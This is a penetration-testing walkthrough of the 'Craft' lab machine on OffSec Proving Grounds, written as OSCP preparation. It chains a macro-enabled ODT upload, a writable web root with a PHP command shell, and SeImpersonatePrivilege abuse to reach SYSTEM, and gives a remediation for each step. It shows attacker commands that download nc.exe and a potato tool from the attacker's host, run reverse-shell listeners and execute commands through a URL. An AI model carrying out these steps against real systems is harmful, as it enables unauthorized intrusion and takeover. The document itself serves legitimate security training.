# OSCP Prep #27

## Craft — Proving Grounds Practice Walkthrough

**Author:** Deonte Spencer **Platform:** OffSec Proving Grounds Practice **Difficulty:** Intermediate **Category:** Standalone (Windows — Web Upload to SYSTEM)

* * *

## Introduction

Craft is a Windows standalone box on OffSec's Proving Grounds Practice. On the surface it's a single open port and a static template website, but the path to SYSTEM chains three distinct misconfigurations, and each one taught me something worth writing down: a file-upload filter that only *looks* restrictive, a web root the wrong account can write to, and a service token privilege that hands you the box.

What makes Craft worth a full writeup isn't any single CVE, there isn't one. It's the *methodology*. Two moments on this box were genuine learning points for me. The first was recognizing that an "only ODT allowed" upload is still an execution vector when the server opens the document for you. The second, and the more important one, was the lateral pivot: I'd fallen into the habit of hunting for credentials, services, and vulnerable binaries every time I need to move between accounts, and I completely overlooked the simplest primitive in the book — *if you can write to a directory that executes code, you write your own shell there and run it as whoever owns that process.* I've given that its own section, because it's the reflex I most want to keep.

This writeup follows the whole chain from an empty terminal to `proof.txt`, and I've tried to explain the reasoning at each decision point rather than just listing what worked.

* * *

## High-Level Summary

Craft was assessed as a single Windows host exposing only a web server on port 80. The site included a file-upload feature restricted to OpenDocument Text (`.odt`) files, which the server opened and processed with LibreOffice. Because document macros were permitted, a crafted `.odt` produced code execution as the low-privileged `craft\thecybergeek` account.

From that foothold, the `thecybergeek` account was found to have write access to the XAMPP web root — a directory that Apache serves and executes as PHP. Placing a command-execution script there and requesting it over HTTP produced a second, parallel execution context as the `craft\apache` service account.

That service account held `SeImpersonatePrivilege`, which was abused with a token-impersonation ("potato") technique to escalate directly to `NT AUTHORITY\SYSTEM`, yielding full compromise of the host and both the user and root flags.

**Compromise path:** `ODT upload → macro RCE (thecybergeek)` → `writable web root → RCE (apache)` → `SeImpersonate → SYSTEM`.

* * *

## Methodologies

### Information Gathering

The scope was a single host, `192.168.212.169`. The objective was to obtain the user (`local.txt`) and root (`proof.txt`) flags.

### Service Enumeration

The service enumeration phase focuses on identifying live services and understanding the attack surface before touching it.

My default first scan is `nmap -sCV -p-`, but on Craft that scan stalled during host discovery — the box was silently dropping ICMP/host-discovery probes and nmap concluded the host was down before it ever reached the port-scan phase. The fix is to skip host discovery entirely with `-Pn` and use a raw SYN sweep. This is worth internalizing as a default reflex over the OffSec VPN: *if a box the portal shows as "up" reports "host seems down," add* `-Pn` *— you are not looking at a dead host, you are looking at dropped discovery probes.*

```plaintext
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ sudo nmap -Pn -n -sS -p- -vv --min-rate 2000 --max-retries 2 192.168.212.169
...
Discovered open port 80/tcp on 192.168.212.169
...
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 125
Nmap done: 1 IP address (1 host up) scanned in 65.85 seconds
```

A single open port (`80/tcp`), and a TTL of 125 pointing at a Windows target.

**Port scan results**

| IP Address | Ports Open |
| --- | --- |
| 192.168.212.169 | TCP: 80 |

With only HTTP exposed, I moved to content discovery with `ffuf`, filtering out `403` responses:

```plaintext
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ ffuf -u http://192.168.212.169/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
...
assets      [Status: 301, ...]
css         [Status: 301, ...]
js          [Status: 301, ...]
uploads     [Status: 301, ...]
uploads/    [Status: 200, ...]
index.php   [Status: 200, ...]
upload.php  [Status: 200, ...]
```

The site itself is a static "CRAFT" landing-page template. The interesting results are `uploads/` (a browsable directory) and `upload.php` (an upload form) — a classic upload-to-execution setup worth prioritizing.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/78f97346-3d1e-4b18-9357-d8b43578acd5.png align="center")

### Penetration

The penetration phase focuses on gaining and elevating access. Craft was fully compromised through the three findings documented below.

### Maintaining Access

Access was maintained via interactive reverse shells caught on a local listener. In an authorized engagement this phase would also cover establishing a durable backdoor; for this lab, no persistence beyond the working shells was required.

### House Cleaning

Artifacts staged during testing (`neo.php` in the web root, `nc.exe` and `sp.exe` in `C:\ProgramData`, and the uploaded document) would be removed at the end of a real engagement so no tooling or scripts are left behind on the target.

* * *

## Target — Craft (192.168.212.169)

### Finding 1 — Initial Access: Unrestricted Document Upload Leads to Macro Code Execution

**Vulnerability Explanation:** The `upload.php` endpoint accepts OpenDocument Text (`.odt`) files and processes them server-side with LibreOffice. Although the upload filter rejects other file types (including PHP), the application *opens* the submitted document, and macro execution is not disabled in the office environment. A document configured to run a macro on load therefore results in arbitrary command execution in the context of the account running the office process — `craft\thecybergeek`. The restrictive-looking "ODT only" filter provides no protection because the danger is in the server opening the document at all, not in the file extension.

**Vulnerability Fix:** Do not open or render uploaded documents server-side. If document processing is required, run the office suite with macro security set to its highest level (macros disabled), process files in an isolated sandbox with no outbound network access, and run the handling service under a least-privileged account. Store uploads outside any path that is opened, executed, or served.

**Severity:** Critical

**Steps to reproduce the attack:**

Browsing to `upload.php` shows a form that rejects anything other than an ODT file:

```plaintext
File is not valid. Please submit ODT file
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e34c5846-50f8-4291-ad19-5189514cc0c5.png align="center")

My first instinct was to upload a PHP webshell directly; the extension filter blocked it and I found no filter bypass. The pivot in thinking was noticing that the application's whole purpose is to *read* the submitted document — which means the ODT is being opened by an office process on the server. An OpenDocument file that carries a macro set to execute on open is therefore an execution vector, not just a data file.

I prepared a macro-enabled ODT configured to trigger a reverse connection when the document is opened, uploaded it through the form, and caught the resulting shell on a waiting listener:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/40f80eb6-d045-439c-9e91-4eea8daea5f9.png align="center")

```plaintext
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50423
whoami
craft\thecybergeek
```

*(Report-level note: I'm intentionally documenting this step at the vector level — the upload accepts ODT, the server opens it, and an auto-executing macro yields a shell — rather than reproducing the malicious macro's source. The finding, impact, and remediation are what matter for the report.)*

The shell landed in `C:\Program Files\LibreOffice\program`, confirming the document was opened by LibreOffice running as `thecybergeek`. Basic enumeration of the account:

```plaintext
PS C:\Program Files\LibreOffice\program> whoami /all
USER INFORMATION
----------------
User Name          SID
================== ============================================
craft\thecybergeek S-1-5-21-537427935-490066102-1511301751-1001

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

`thecybergeek` holds no immediately abusable privileges, `cmdkey /list` showed no stored credentials, and Winlogon carried no autologon secrets — so this account is a foothold, not a finish line.

**User flag (**`local.txt`**)** — retrieved from the `thecybergeek` desktop:

```plaintext
C:\Users\thecybergeek\Desktop>type local.txt
9a7954e7770e49ad554f54ded0fa8eaa
```

* * *

### Finding 2 — Lateral Movement: World-Writable Web Root Leads to Command Execution as apache

**Vulnerability Explanation:** The `craft\thecybergeek` account has write access to the XAMPP web root, `C:\xampp\htdocs`. That directory is served by Apache with PHP execution enabled. Any account able to write into a directory that executes server-side script can obtain command execution as the account that runs the web server — here, `craft\apache` — simply by writing a script into the web root and requesting it over HTTP. No credentials, vulnerable service, or exploitable binary is required; write access plus an executing path is the entire primitive.

**Vulnerability Fix:** Apply least-privilege ACLs to the web root so that interactive and service accounts cannot write to content that Apache executes. Serve static content from a location that is not writable by application/service users, and keep any writable upload directory outside the script-executing path (and ideally configured to not execute scripts at all).

**Severity:** High

**Steps to reproduce the attack:**

From the `thecybergeek` shell, I confirmed I could write into `C:\xampp\htdocs` by dropping a test file and listing the directory:

```plaintext
PS C:\xampp\htdocs> echo 'test' > neo.txt
PS C:\xampp\htdocs> gci
    Directory: C:\xampp\htdocs
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----        7/19/2026   5:09 PM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----         7/19/2026   5:22 PM             14 neo.txt
-a----         7/7/2021   9:56 AM            835 upload.php
```

The write succeeded. I then placed a small PHP command-execution script into the web root (staged from my Kali box over HTTP) — a script that takes a command from a query-string parameter and runs it — and requested it in the browser, which executed the command as the Apache service account:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2c8fb3c4-8065-47fd-94d0-0d68eae9f086.png align="center")

```plaintext
http://192.168.212.169/neo.php?cmd=whoami
craft\apache
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/63b42898-5153-4441-a0b1-55337d92a269.png align="center")

Upgrading to an interactive shell

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d285ed4f-2aad-4991-9409-2cea807c6802.png align="center")

and enumerating the `apache` context revealed the actual escalation opportunity:

```plaintext
PS C:\xampp\htdocs> whoami /all
USER INFORMATION
----------------
User Name    SID
============ ============================================
craft\apache S-1-5-21-537427935-490066102-1511301751-1000

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

The `apache` account holds `SeImpersonatePrivilege` — the key to SYSTEM.

> ### Methodology callout — the primitive I keep forgetting
> 
> This pivot is the lesson of the box, so it gets its own box. I spent longer than I should have here because my instinct on a new account is always the same loop: hunt for stored credentials, look for misconfigured services, check for vulnerable binaries, scan for interesting files. All of that skipped past the simplest fact in front of me — `thecybergeek` **could write to a directory that Apache executes.**
> 
> When you can write to any path that runs code — a web root with PHP, a scheduled-task script directory, a cron path, a startup folder — you don't need to *find* an execution primitive. You *are* the execution primitive. You write your own payload there and let the owning process run it, and you inherit that process's identity.
> 
> **Reflex to keep:** on every new foothold, before enumerating creds and services, ask one question first — *what can this account write to that something else will execute?* If the answer is "a code-executing path owned by a more useful account," that's often the shortest line to the next identity.

* * *

### Finding 3 — Privilege Escalation: SeImpersonatePrivilege Leads to SYSTEM

**Vulnerability Explanation:** The `craft\apache` service account holds `SeImpersonatePrivilege`. This privilege permits a process to impersonate the security tokens of clients that connect to it. A well-known class of "potato" techniques abuses this by coercing a privileged service to authenticate to an attacker-controlled endpoint, capturing and impersonating the resulting `NT AUTHORITY\SYSTEM` token, and using it to spawn a process as SYSTEM. Any account running with this privilege on an affected Windows build can therefore escalate to full system control.

**Vulnerability Fix:** Do not grant `SeImpersonatePrivilege` to service accounts that do not strictly require it, and run web/application services under the most restrictive account possible. Keep the OS current with security updates, since the specific coercion vectors these tools rely on are addressed over time by patching.

**Severity:** Critical

**Steps to reproduce the attack:**

From my Kali box I staged a static `netcat` binary and a token-impersonation tool (SigmaPotato) using a temporary Python HTTP server, then pulled them onto the target into a writable, non-privileged-blocked directory (`C:\ProgramData`):

On Kali:

```plaintext
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...
```

On the target:

```plaintext
PS C:\> cd ProgramData
PS C:\ProgramData> curl http://192.168.45.245/nc.exe -o nc.exe
PS C:\ProgramData> curl http://192.168.45.245/sp.exe -o sp.exe
```

I then executed the impersonation tool, instructing it to launch the netcat binary as a reverse shell back to my listener. The tool coerced a SYSTEM token and created the process under it:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ddecbc45-7696-4479-86e3-e29e971ded82.png align="center")

The reverse shell arrived on my listener as SYSTEM:

```plaintext
┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50603
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

### Post-Exploitation

With a SYSTEM shell, I retrieved the root flag from the Administrator desktop:

```plaintext
C:\Users\Administrator\Desktop>type proof.txt
4b0acac6964c70653c2a1e2b92d06299
```

* * *

## Proof Summary

| Flag | Location | Value |
| --- | --- | --- |
| `local.txt` (user) | `C:\Users\thecybergeek\Desktop` | `9a7954e7770e49ad554f54ded0fa8eaa` |
| `proof.txt` (root) | `C:\Users\Administrator\Desktop` | `4b0acac6964c70653c2a1e2b92d06299` |

* * *

## Takeaways

Craft is a clean lesson in chaining unglamorous misconfigurations. Three reflexes I'm keeping from it:

1.  **"Host seems down" over the VPN means** `-Pn`**, not a dead box.** Blocked discovery probes stop nmap before the port scan; skip discovery and SYN-sweep.
    
2.  **A restrictive-looking upload filter can still be an execution vector** if the server opens the file it accepts. "ODT only" is not safe when the server renders the ODT.
    
3.  **Write access to a code-executing path *is* an execution primitive.** Before hunting creds, services, and binaries on a new account, ask what that account can write that something more privileged will run. It's frequently the shortest path to the next identity — and it's the one I most needed to relearn.
